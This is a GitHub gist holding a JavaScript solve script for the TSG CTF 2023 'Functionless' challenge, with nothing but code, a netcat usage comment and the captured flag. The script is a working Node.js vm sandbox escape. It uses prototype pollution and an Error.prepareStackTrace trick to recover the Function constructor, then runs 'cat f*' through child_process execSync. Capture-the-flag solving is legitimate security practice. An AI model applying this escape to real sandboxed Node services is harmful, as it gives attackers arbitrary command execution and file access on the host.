Last active
November 6, 2023 14:08
-
-
Save lebr0nli/120803dcd6b8c61c4aee7670cb1ad6f3 to your computer and use it in GitHub Desktop.
TSG CTF 2023 - Functionless (Misc)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let code = ` | |
Function=this.constructor.constructor; | |
Array.prototype.toString=Object.prototype.toString; | |
Array.prototype[Symbol.toStringTag]="=1];console.log(process.mainModule.constructor._load('child_process').execSync('cat f*')+'');//"; | |
Object.prototype.prepareStackTrace=Function; | |
e=new Error; | |
x={toString:e.stack}+''; | |
`.replaceAll('\n', '').replaceAll('(', '\\x28').replaceAll(')', '\\x29'); | |
console.log(code); | |
if (process.env.DEBUG) { | |
const vm = require("node:vm"); | |
const context = vm.createContext(undefined, { | |
codeGeneration: { | |
strings: false, | |
}, | |
}); | |
console.log(vm.runInContext(code, context)); | |
} | |
// node solve.js | nc 34.84.217.62 30002 | |
// TSGCTF{i_like_functional_programming_how_about_you} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment